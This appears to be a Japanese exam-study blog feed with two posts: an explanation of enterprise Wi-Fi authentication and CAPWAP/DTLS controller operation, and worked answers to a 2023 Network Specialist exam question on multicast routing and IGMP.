<figure class="wp-block-image size-full"><img decoding="async" width="845" height="675" src="https://ascend-beyond.com/wp-content/uploads/2026/10/image.jpg" alt="" class="wp-image-8370" srcset="https://ascend-beyond.com/wp-content/uploads/2026/10/image.jpg 845w, https://ascend-beyond.com/wp-content/uploads/2026/10/image-300x240.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/10/image-767x613.png 767w" sizes="(max-width: 845px) 100vw, 845px" /></figure>



<p class="wp-block-paragraph"><strong><span class="fz-20px">▼登場人物</span></strong></p>



<ul class="wp-block-list">
<li><strong>WLAN端末（クライアント）</strong></li>



<li><strong>AP（アクセスポイント）</strong></li>



<li><strong>WLC（無線LANコントローラ）</strong>：図1にあり、管理やデータ処理を行う</li>



<li><strong>認証サーバー（RADIUSサーバー）</strong>：図1の「RADIUSサーバ」</li>
</ul>



<p class="wp-block-paragraph">通信開始からデータ通信までの大まかな流れは、大きく分けて「① プローブ・認証方式のネゴシエーション」「② 802.1X / EAP認証（RADIUSサーバー連携）」「③ 4-Wayハンドシェイク（共通鍵の導出）」「④ データ通信開始（CAPWAP等）」の4ステップで進む。</p>



<p class="wp-block-paragraph"><strong><span class="fz-22px">ステップ 1：探索とアソシエーション（接続要求）</span></strong></p>



<ol start="1" class="wp-block-list">
<li><strong>プローブ要求・応答（Probe Request/Response）</strong>:<br> 端末が周囲のAPを探すために<span class="bold-blue">プローブ要求</span>を投げ、APがESSIDなどの情報を返す。<br><span class="fz-16px">＊<span class="blue">プローブ要求</span>：<span class="fz-14px">WLAN端末が特定のAPをまだ見つけていない状態（あるいは過去に繋いだことのあるお気に入りのWi-Fiを探すとき）に、周囲へ向かって「おーい、誰かいるかー？」とブロードキャストで呼びかける。これをプローブ要求（Probe Request）と呼ぶ。</span></span><span class="fz-14px">ビーコンを出していないステルスSSIDを探すときにも活躍する。</span><br><span class="fz-16px">＊<span class="blue">ビーコン</span>：<span class="fz-14px">スマホがプローブ要求を投げなくても、AP側が一定間隔（通常100msごと）で「ビーコン（Beacon）」という電波を自発的に周囲へバラ撒いている</span></span><br><span class="fz-16px">＊<span class="blue">WLC</span>：<span class="fz-14px">APが発するビーコンやプローブ応答の情報はすべてWLCが「君はこういうチャネルでこの強さでやって」と指示通りに従っている。</span></span></li>



<li><strong>認証（Authentication &#8211; オープンシステム認証など）</strong>: <br>Wi-Fiの規格上最初のステップとして行われる（実質的なセキュリティ認証は後続の<span class="bold-blue">EAP</span>で行われる）。</li>



<li><strong>アソシエーション要求・応答（Association Request/Response）</strong>: <br>端末とAP間で無線リンクを確立するためのやり取りを行う。この段階ではまだ通信は暗号化されておらず、データも通れない。</li>
</ol>



<p class="wp-block-paragraph"><strong><span class="fz-22px">ステップ 2：802.1X / EAP認証（RADIUSサーバーの登場）</span></strong></p>



<p class="wp-block-paragraph">今回はWPA3-Enterprise（あるいはWPA2-Enterprise）などの認証を想定している。</p>



<ol start="1" class="wp-block-list">
<li><strong>EAPoL（EAP over LAN）の開始</strong>: <br>AP（またはWLC）と端末間で<span class="bold-blue">EAP認証</span>がスタートする。<br><span class="fz-16px">＊<span class="blue">EAP</span>（Extensible Authentication Protocol）：<span class="fz-14px">端末（スマホやPC）と認証サーバーの間で「どうやってID/パスワードのデータをやり取りするか」のルールがバラバラだと困ってしまう。そこで登場するのがEAP。</span></span></li>



<li><strong>EAPメッセージの転送（CAPWAPカプセル化）</strong>:<br>APは端末から受け取ったEAPメッセージを、<span class="bold-blue">CAPWAP</span>（Control And Provisioning of Wireless Access Points）というプロトコルでカプセル化し、上位にあるWLCを経由して、あるいは直接RADIUSサーバーへと転送する。<br><span class="fz-16px">＊<span class="blue">CAPWAP</span>：<span class="fz-14px">APとWLC間の通信をサポートする。この区間ではAPが「どのチャネルを使うか」、「どの強さで」、「死活監視状況は」などの様々な情報をやり取りする必要がある。それのフォーマットを指定しているのがCAPWAP。これがないと、「え？なんかチャネル番号が書かれているけどこれは何に対する指示？」「え？なんかユーザID・パスワードっぽいけどこれはEAPであってるの？」などカプセル化された情報を判断できなくなってしまう。</span></span></li>



<li><strong>RADIUSサーバーによる認証</strong>:<br>・RADIUSサーバーがユーザーIDやパスワード（証明書など）を検証。<br>・認証が無事に成功すると、RADIUSサーバーと端末の間で<span class="bold-blue">MSK</span>（Master Session Key）というマスターキーが共有される（RADIUSからはWLC/AP経由で鍵の素材などが渡される）。<br><span class="fz-16px">＊<span class="blue">RAIUS</span>：<span class="fz-14px">ユーザを認証するためのプロトコル。EAPをカプセル化することで、認証サーバ側は「あ、ユーザIDはこれね！」「あ、EAPパケットのデータはこれね」と明示的に判断できるようになる。これがないと「え？ユーザIDは？」「どれがEAPパケットなの？」と判断できなくなる。</span></span><br><span class="fz-14px">最初のWLCからRADIUSメッセージはWLCがEAPの情報をもとにRADIUSフィールドのユーザIDを指定する。しかし、それ以降は基本的にWLCはEAPを情報を見ずにRAIDUSにカプセル化するだけ。</span></li>
</ol>



<p class="wp-block-paragraph"><strong><span class="fz-22px">ステップ 3：4-Wayハンドシェイク（暗号鍵の生成）</span></strong></p>



<p class="wp-block-paragraph">MSKをベースにして、実際の無線区間の暗号化通信に使うための鍵を生成・共有するステップです。</p>



<ol start="1" class="wp-block-list">
<li><strong>PMK（Pairwise Master Key）の導出</strong>: <br>先ほどのMSKなどから、<strong><span class="bold-blue">PMK</span></strong>を生成。</li>



<li><strong>4-Wayハンドシェイクの実行</strong>:<br> ・APと端末の間で4往復（4つのメッセージ）のやり取りを行い、お互いが秘密鍵を持っていることを確認する。<br>・これにより、個別の通信を暗号化するための<span class="bold-blue">PTK</span>（Pairwise Transient Key）が生成されます。</li>



<li><strong>暗号化通信の確立</strong>: <br>このハンドシェイクが完了した瞬間から、無線区間のデータが強固に暗号化（CCMPやGCMPなど）されるようになる。</li>
</ol>



<p class="wp-block-paragraph"><strong><span class="fz-22px">ステップ 4：データ通信の開始とWLCのモード</span></strong></p>



<ol start="1" class="wp-block-list">
<li><strong>データ通信の開始</strong>: <br>認証と暗号化が完了し、DHCPサーバーからIPアドレスが割り当てられると、晴れてインターネットや動画コンテンツサーバーへの通信が可能になる。</li>



<li><strong>WLCの役割（会話文より）</strong>: 今回の会話文（C課長とB主任のやり取り）にもあるが、<em>「利用者認証後のWLAN端末の通信をWLCを経由せずに通信するモード」</em>（中央集約型ではなく、トラフィックは直接L2SW等へ流すローカルブレイクアウト/FlexConnectのような動作）などに設定されるケースもあり、認証時とデータ転送時で経路が最適化される。</li>
</ol>



<h3 class="wp-block-heading"><span id="toc26">Q.CAPWAPトンネルはどうやって張るの？</span></h3>



<p class="wp-block-paragraph">では、APの電源が入ってから、WLCと繋がって通信できるようになるまでの大まかなステップを見ていこう！</p>



<p class="wp-block-paragraph"><strong><span class="fz-22px">ステップ①：IPアドレスの取得とWLCの探索（Discovery）</span></strong><br>　１．APが起動すると、まずDHCPサーバーから自分のIPアドレスをもらう。<br>　２．その際、<strong><span class="bold-blue">Option 43</span></strong> を使って「お前のコントローラ（WLC）はあそこだよ」というWLCのIPアドレスを教えてもらう<br><span class="fz-16px">　※他にも、DNSの名前解決やブロードキャストを使って探す方法もある）。</span></p>



<p class="wp-block-paragraph"><strong><span class="fz-22px">ステップ②：CAPWAPディスカバリー（Discovery Request / Response）</span></strong><br>　１．見つけたWLCのIPアドレス（あるいは手動設定されたアドレス）に向けて、APから <strong><code><span class="bold-blue">CAPWAP Discovery Request</span></code></strong> （<span class="bold-blue">UDP 5246</span>）を投げる。<br>　２．WLCから「ここにいるよ！」と<span class="bold-blue"> <strong><code>Discovery Response</code></strong></span> が返ってくる。<br>　３．これで互いの存在を確認する。</p>



<p class="wp-block-paragraph"><strong><span class="fz-22px">ステップ③：DTLSハンドシェイク（暗号化の確立）</span></strong><br>　・コントロール通信（設定や死活監視）は、標準で「<span class="bold-blue">DTLS</span>（Datagram TLS）」という仕組みでガチガチに暗号化される（※昔は暗号化なしのモードもあったが、セキュリティ上、現在は暗号化が基本）。<br>　・データ通信（ユーザーがアクセスするWebデータなど）については、設定によって暗号化する・しないを選べる。</p>



<p class="wp-block-paragraph"><strong><span class="fz-22px">ステップ④：設定の同期とトンネル確立（Join ＆ Configuration）</span></strong><br>　・APとWLCの間で「うちはこういう機種のAPです」「よし、じゃあこの最新設定ファイルを適用しなさい」というやり取り（Join/Configuration）が無事に終わると、正式にCAPWAPのコントロール用トンネルとデータ用トンネルが確立する。</p>



<h3 class="wp-block-heading"><span id="toc27">Q.DTLSってなに？</span></h3>



<p class="wp-block-paragraph">DTLSはUDP上で動作するTLS。本来TLSはTCP上で作動するため、UDP上で作動する場合は順序制御・欠損検知などのTCPが実施する作業を追加で実施する必要がある。以下がDTLSの特徴的な機能である。<br><strong><span class="fz-22px">▼DTLSの特徴的な機能</span></strong></p>



<ol start="1" class="wp-block-list">
<li><strong>メッセージのシーケンス番号（順番・欠損管理）</strong>
<ul class="wp-block-list">
<li>DTLSのハンドシェイクメッセージには、すべて「何番目のメッセージか」の番号が振られている。これにより、パケットが前後して届いても正しい順番に並べ替えることができる。</li>
</ul>
</li>



<li><strong>タイムアウトと再送タイマー（Reliability Mechanism）</strong>
<ul class="wp-block-list">
<li>「メッセージを送ったけど、一定時間経っても返事（ACKや次のメッセージ）がないぞ？」となった場合、送信側が自発的に同じハンドシェイクメッセージを再送する仕組みがプロトコル自体に組み込まれている。</li>
</ul>
</li>



<li><strong>フラグメンテーションへの対策（MTU超過防止）</strong>
<ul class="wp-block-list">
<li>TLSでは、サーバー証明書などをデカいままポンと送ってもTCPが勝手に分割（セグメント化）してくれるが、UDPは大きすぎるとIPレイヤーで断片化（フラグメンテーション）されてロスしやすくなる。そのため、DTLSのハンドシェイクメッセージは、UDPのパケットサイズ（MTU）を超えないように細かく分割して送る工夫がされている。</li>
</ul>
</li>
</ol>



<p class="wp-block-paragraph">あとは、基本的にTLSと同じ。</p>



<h3 class="wp-block-heading"><span id="toc28">p.17 Q.WLCって何？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="134" height="47" src="https://ascend-beyond.com/wp-content/uploads/2026/10/image-1.png" alt="" class="wp-image-8372"/></figure>



<p class="wp-block-paragraph"><strong>▼WLCの機能</strong></p>



<ol start="1" class="wp-block-list">
<li><strong>アクセスポイント（AP）の一元管理（管理・コンフィグ）</strong>
<ul class="wp-block-list">
<li>数十台〜数千台あるAPのファームウェアのアップデートや、設定の流し込みを一括で行う。「あそこのAPは不調だから再起動させよう」などもWLCから一発。</li>
</ul>
</li>



<li><strong>RRM（電波リソース管理）による自動最適化</strong>
<ul class="wp-block-list">
<li>隣り合うAP同士が干渉しないように、「チャネルの自動割り当て」や「電波出力（送信パワー）の自動調整」をリアルタイムで行い、Wi-Fiの混雑を防ぐ。</li>
</ul>
</li>



<li><strong>認証・セキュリティの集約（オーセンティケーター）</strong>
<ul class="wp-block-list">
<li>APからCAPWAPで送られてきたEAPパケットを受け取り、それをRADIUSサーバーに中継する。認証が通ったあとの「4-Wayハンドシェイク（またはその指示）」を管理・主導する拠点になる。</li>
</ul>
</li>



<li><strong>トラフィックの集約とルーティング（ローミングの神）</strong>
<ul class="wp-block-list">
<li>ユーザー（スマホを持った人）が、フロアを歩き回って「AP A」から「AP B」へ移動したとき（ローミング）、無線区間が切り替わっても、WLCが裏でパケットの向き先をパッと切り替えてくれるため、ユーザーは通信が途切れることなく（IPアドレスも変えずに）移動できまる。</li>
</ul>
</li>



<li><strong>VLANとポリシーの割り当て（モビリティ）</strong>
<ul class="wp-block-list">
<li>ユーザーが接続したSSID（社用、ゲスト用など）に応じて、「この人は社内VLAN 10に通す」「こっちのゲストはインターネット専用のVLAN 99に通す」といった通信の交通整理（タグ付け・ポリシー適用）を行う。</li>
</ul>
</li>
</ol>



<h3 class="wp-block-heading"><span id="toc29">Q.RRM（Radio Resource Management）ってなに？</span></h3>



<p class="wp-block-paragraph">RRMとは複数のアクセスポイント（AP）が<span class="blue">発する電波</span>（チャネルや出力）を、WLCが自動で監視・調整して、お互いに邪魔し合わない（干渉しない）ように最適化する仕組み</p>



<ol start="1" class="wp-block-list">
<li><strong>DCA（Dynamic Channel Assignment）</strong>
<ul class="wp-block-list">
<li><strong>意味：</strong> 周りのAP同士が干渉しないように、チャネル（利用する周波数帯の番号）を動的に割り当て・変更する機能。</li>
</ul>
</li>



<li><strong>TPC（Transmit Power Control）</strong>
<ul class="wp-block-list">
<li><strong>意味：</strong> 電波の強さ（送信出力）を自動で調整する機能。「周りに他のAPが少ないから出力を下げて電波の干渉を減らそう」「ここは電波が届きにくいから出力を上げよう」と、電波のパワーを自動制御する。</li>
</ul>
</li>



<li><strong>RX-SOP / Coverage Hole Detection などの周辺機能</strong>
<ul class="wp-block-list">
<li>電波の死角（カバーホール）を検知して周囲の出力を上げたり、不要な低速電波をカットしたりする補助機能もある。</li>
</ul>
</li>
</ol>



<h3 class="wp-block-heading"><span id="toc30">p.17 Wi-Fi6Eって何？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="745" height="52" src="https://ascend-beyond.com/wp-content/uploads/2026/10/image-2.png" alt="" class="wp-image-8373" srcset="https://ascend-beyond.com/wp-content/uploads/2026/10/image-2.png 745w, https://ascend-beyond.com/wp-content/uploads/2026/10/image-2-300x21.png 300w" sizes="(max-width: 745px) 100vw, 745px" /></figure>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>比較項目</strong></td><td><strong>Wi-Fi 6 (IEEE 802.11ax)</strong></td><td><strong>Wi-Fi 6E (Wi-Fi 6 Extended)</strong></td></tr></thead><tbody><tr><td><strong>最大理論速度</strong></td><td>約 9.6 Gbps</td><td>約 9.6 Gbps（速度の限界値自体は同じ）</td></tr><tr><td><strong>使える周波数帯</strong></td><td>2.4 GHz帯 / 5 GHz帯</td><td>2.4 GHz帯 / 5 GHz帯 ＋ <strong>6 GHz帯（新追加！）</strong></td></tr><tr><td><strong>帯域幅（チャンネル）</strong></td><td>最大 80 MHz / 160 MHz</td><td>最大 80 MHz / 160 MHz ＋ <strong>160 MHz幅を贅沢に使える</strong></td></tr><tr><td><strong>電波の混雑・干渉</strong></td><td>混雑しやすい（電子レンジや近所のWi-Fiと干渉しがち）</td><td><strong>極めて少ない（ガラ空きのため、ノイズや渋滞がほぼ無い）</strong></td></tr><tr><td><strong>通信技術のベース</strong></td><td>OFDMA, MU-MIMO, <strong>1024QAM（1シンボル10ビット）</strong> 等</td><td>Wi-Fi 6の技術を<strong>そのまま丸ごと継承</strong></td></tr></tbody></table></figure>



<p class="wp-block-paragraph"></p>



<figure class="wp-block-image size-full"><img decoding="async" width="1024" height="804" src="https://ascend-beyond.com/wp-content/uploads/2026/10/layer.jpg" alt="" class="wp-image-8374"/></figure>



<p class="wp-block-paragraph"><br></p>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>令和5年（2023年）ネスペ午後Ⅰ　問Ⅱ　解答解説</title>
		<link>https://ascend-beyond.com/study/8320/</link>
		
		<dc:creator><![CDATA[管理人]]></dc:creator>
		<pubDate>Mon, 28 Sep 2026 21:53:24 +0000</pubDate>
				<category><![CDATA[Study]]></category>
		<category><![CDATA[ネスペ]]></category>
		<guid isPermaLink="false">https://ascend-beyond.com/?p=8320</guid>

					<description><![CDATA[設問１ オ：PIM-SM　カ：SSM オ：PIM-SM　ネットワーク全体のルーター間（FW01、L3SW11、L3SW21の間）で、マルチキャストのパケットを転送するための共通の基盤・ベースとなるルーティングプロトコルが [&#8230;]]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading"><span id="toc1">設問１</span></h2>



<h3 class="wp-block-heading"><span id="toc2">オ：PIM-SM　カ：SSM</span></h3>



<p class="wp-block-paragraph"><strong><span style="text-decoration: underline;">オ：PIM-SM</span></strong><br>　ネットワーク全体のルーター間（FW01、L3SW11、L3SW21の間）で、マルチキャストのパケットを転送するための共通の基盤・ベースとなるルーティングプロトコルがまず必要になる。これが<span class="bold-blue"> <strong>PIM-SM</strong> </span>。「すべてのインタフェースで共通して有効にするベースの仕組み」と書かれていたら、それは大元である <span class="bold-blue">PIM-SM</span> 。</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Hjson</span><span role="button" tabindex="0" data-code="Router(config)# interface GigabitEthernet0/1
Router(config-if)# ip pim sparse-mode" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #E6DB74">Router(config)# interface GigabitEthernet0/1</span></span>
<span class="line"><span style="color: #E6DB74">Router(config-if)# ip pim sparse-mode</span></span></code></pre></div>



<p class="wp-block-paragraph"><strong><span style="text-decoration: underline;">カ：SSM<br></span></strong>　図2のフロー(c)(d)で確認した通り、レシーバーは <code>(S, G) Join</code>（ソースのIPとグループを指定した要求）を飛ばしている。この「ソースを指定したリクエスト」をルーター側で受け取って、余計なランデブーポイント（RP）を経由せずにダイレクトに配信経路（ツリー）を作る機能が <strong><span class="bold-blue">SSM（Source-Specific Multicast）</span></strong> 。</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Hjson</span><span role="button" tabindex="0" data-code="Router(config)# ip pim ssm default" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #E6DB74">Router(config)# ip pim ssm default</span></span></code></pre></div>



<h2 class="wp-block-heading"><span id="toc3">設問２</span></h2>



<h3 class="wp-block-heading"><span id="toc4">（１）配信先のレシーバの数に応じてソースの通信量が増加する</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="815" height="122" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-130.png" alt="" class="wp-image-8327" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-130.png 815w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-130-300x45.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-130-762x114.png 762w" sizes="(max-width: 815px) 100vw, 815px" /></figure>



<p class="wp-block-paragraph">ここでは、マルチキャストを使用しない場合のデメリットが聞かれている。<br>では、逆転の思考で、まずはマルチキャストのメリットを見ていこう！</p>



<p class="wp-block-paragraph"><strong>1. ソース（送信元）の通信量・負荷を一定に抑えられる（レシーバーの数に依存しない）</strong><br>・ユニキャストの場合、宛先（レシーバー）の数が増えれば増えるほど、ソースが同じデータを何度もコピーして送信しなければならず、送信側の通信量が爆発的に増える。<br>・マルチキャストであれば、レシーバーが何台（何万人）になろうとも、ソースが送信するデータは常に「1回分（1ストリーム）」だけで済む。<br><strong>2. ネットワーク帯域（回線）の無駄な消費を防げる</strong><br>・ユニキャストだと、ルーターやスイッチの手前まで同じパケットがレシーバーの台数分バラバラと流れていき、ネットワークの帯域を激しく圧迫する。<br>・マルチキャストであれば、ネットワーク機器（ルーターやL3SW）が途中の分岐点までパケットを1本だけ運び、必要になった地点で初めてパケットを複製して枝分かれさせる（ディストリビューションツリーを作る）ため、回線を効率的に使える。<br><strong>3. 大規模な配信やリアルタイム映像に向いている</strong><br>・1つの映像データ（今回のK市のIPカメラ映像など）を、複数の部署のPCや大型モニターなどの多数の宛先へ同時に配信するシステムにおいて、ネットワークのボトルネックを解消するための必須技術となる。</p>



<p class="wp-block-paragraph">上記より、ユニキャストの最大の欠点は、「<span class="bold-blue">レシーバーが増えた分だけ、同じデータを何回も送信せざるを得ず、<strong>送信元の通信量が跳ね上がる</strong></span>」ことであることが分かる。</p>



<h3 class="wp-block-heading"><span id="toc5">（２）160</span></h3>



<p class="wp-block-paragraph">カメラ１台80Mb/s。それが20台あるので「8Mb/s×20=<span class="bold-blue">160Mb/s</span>」となる。</p>



<h4 class="wp-block-heading"><span id="toc6">Q.なんで連番で命名しないの？</span></h4>



<figure class="wp-block-image size-full"><img decoding="async" width="292" height="456" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-131.png" alt="" class="wp-image-8328" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-131.png 292w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-131-192x300.png 192w" sizes="(max-width: 292px) 100vw, 292px" /></figure>



<p class="wp-block-paragraph">IPカメラの名前を見ると１の位が0と5~9が使われていない。これは本文中にもある通り、将来追加されるかもしれないカメラのためにとってある。また、本構成ではL2SWとカメラの番号が対応しているため、障害が発生した際に切り分けを早くする工夫が用いられている。<br><code>L2SW91</code> に繋がるカメラ：<strong>11〜14</strong><br><code>L2SW92</code> に繋がるカメラ：<strong>21〜24</strong><br><code>L2SW93</code> に繋がるカメラ：<strong>31〜34</strong></p>



<figure class="wp-block-image size-full"><img decoding="async" width="799" height="94" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-132.png" alt="" class="wp-image-8330" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-132.png 799w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-132-300x35.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-132-765x90.png 765w" sizes="(max-width: 799px) 100vw, 799px" /><figcaption class="wp-element-caption">p.9</figcaption></figure>



<h3 class="wp-block-heading"><span id="toc7">（３）すべてのIPカメラに個別のIPアドレスおよび個別のグループアドレスを使用する</span></h3>



<p class="wp-block-paragraph">この問いはIGMPv2を使用する際のアドレス設計ではどのように変わるのかを問われている。<br>まずIGMPv3の特徴は同一のマルチキャスト宛てでも送信元が違えばフィルタリングできるという特徴がある。一方、IGMPv2にはその機能がない。つまり、IGMPv2では送信元を識別してフィルタリングすることができないため、特定のカメラの映像だけを個別に受信するには、全てのIPカメラに個別のグループアドレスを割り当てる必要がある。</p>



<p class="wp-block-paragraph"><strong>Q.逆にIGMPv3を使ったらどういうIP構成になるの？</strong><br>A.１つのマルチキャストグループで運用することができる</p>



<h2 class="wp-block-heading"><span id="toc8">設問３</span></h2>



<h3 class="wp-block-heading"><span id="toc9">（１）グループアドレスの設計が容易になる</span></h3>



<p class="wp-block-paragraph">IGMPv3の場合は送信元もフィルタリングできるので、IPカメラごとにマルチキャストグループアドレスを付与する必要がなく１つのグループアドレスで運用できるようになる。その結果、メリットとして<span class="bold-blue">グループアドレスの設計が容易になる</span>ということ。</p>



<p class="wp-block-paragraph">たまに、この「グループアドレスを１つで運用できるようになる」と回答する人がいますが、これは利点ではなく状態を書いているだけ。なので、その１つで運用できることがどのような利点になるのかを考えると回答は<span class="bold-blue">グループアドレスの設計が容易になる</span>と、なる。</p>



<h3 class="wp-block-heading"><span id="toc10">（２）グループアドレス、インタフェース</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="798" height="136" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-134.png" alt="" class="wp-image-8332" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-134.png 798w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-134-300x51.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-134-763x130.png 763w" sizes="(max-width: 798px) 100vw, 798px" /></figure>



<p class="wp-block-paragraph">IGMPスヌーピングではIGMP Joinを盗み見して「どの<span class="bold-blue">インタフェース</span>から、どの<span class="bold-blue">マルチキャストグループ</span>へ参加要求が来ているか」を記録する。それによって、ソースからマルチキャストが届いたときに、当該マルチキャストアドレスに対応したポートにのみ転送すれば効率のよい転送になるというわけである。つまり、回答は<span class="bold-blue">インタフェース</span>と<span class="bold-blue">マルチキャストグループ</span>である。</p>



<p class="wp-block-paragraph">ちなみにインタフェースの代わりにポートと書きたくなるが、問題文中には「問題文中の字句を使え」と指定されているためポートではなくインタフェースにしなければならない。</p>



<h2 class="wp-block-heading"><span id="toc11">設問４</span></h2>



<h3 class="wp-block-heading"><span id="toc12">（１）a設定を追加する機器名：L3SW11,L3SW21b設定を追加するインタフェースの接続先機器名：L2SW11,L2SW21cプロトコル名：IGMPv3</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="1024" height="943" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-137.jpg" alt="" class="wp-image-8336" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-137.jpg 1024w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-137-300x276.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-137-768x707.jpg 768w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<figure class="wp-block-image size-full"><img decoding="async" width="887" height="490" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-135.jpg" alt="" class="wp-image-8334" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-135.jpg 887w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-135-300x166.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-135-768x424.png 768w" sizes="(max-width: 887px) 100vw, 887px" /></figure>



<p class="wp-block-paragraph"><span class="marker-red"><strong>a設定を追加する機器名：L3SW11,L3SW21</strong></span><br>　L3SWではIGMPを受け取るインターフェースでIGMPを有効にする必要がある。<br><br><span class="marker-red"><strong>b設定を追加するインタフェースの接続先機器名：L2SW11,L2SW21</strong></span><br>　L2SW12とL2SW22が接続されているL3SWのインターフェースでは既にIGMPが有効化されているので追加設定は不要。なので、新規にIGMPを有効化するのはL2SW11とL2SW21である。<br><span class="marker-red"><strong><br>cプロトコル名：IGMPv3</strong></span><br>　本文中より、IGMPv3で運用する旨の記述があるのでIGMPv3が回答となる。</p>



<p class="wp-block-paragraph">注意！<br>　L2SWではIGMPスヌーピングを導入してIGMPメッセージを盗み見できる。勘違いしやすいのは、L2でもIGMPを有効にする必要があると勘違いしてしまうこと。。L2はあくまでもスヌーピングのみであり実際にIGMPを有効化するのはL3デバイスである！</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><span id="toc13">p.8 Q. H.264とは？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="836" height="31" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-127.png" alt="" class="wp-image-8323" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-127.png 836w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-127-300x11.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-127-755x28.png 755w" sizes="(max-width: 836px) 100vw, 836px" /></figure>



<p class="wp-block-paragraph"><strong>H.264</strong>（別名 <strong>AVC</strong>：Advanced Video Coding）とは、動画を圧縮・符号化するための国際標準規格（ビデオコーデック）の一つ。主な特徴は以下の通り👇</p>



<ul class="wp-block-list">
<li><strong>高い圧縮効率</strong>: 画質を保ったまま、動画のデータサイズを小さく（または低いビットレートで）送信できるように圧縮できる。そのため、ネットワークの帯域を節約できる。</li>



<li><strong>幅広い普及</strong>: 地デジ放送、Blu-rayディスク、<span class="bold-blue">YouTube</span>などの動画配信、スマホの動画撮影やWeb会議など、私たちが日常的に目にするほぼすべての動画で標準的に使われている。</li>



<li><strong>リアルタイム処理に向く</strong>: 高い画質と圧縮率を持ちながら、エンコード（符号化）やデコード（復号）の処理が比較的軽く、リアルタイムのライブ配信や監視カメラ映像の送信にも適している。</li>
</ul>



<h3 class="wp-block-heading"><span id="toc14">p.8 Q.IPカメラの設置って物理的にどういう構成になっているの？</span></h3>



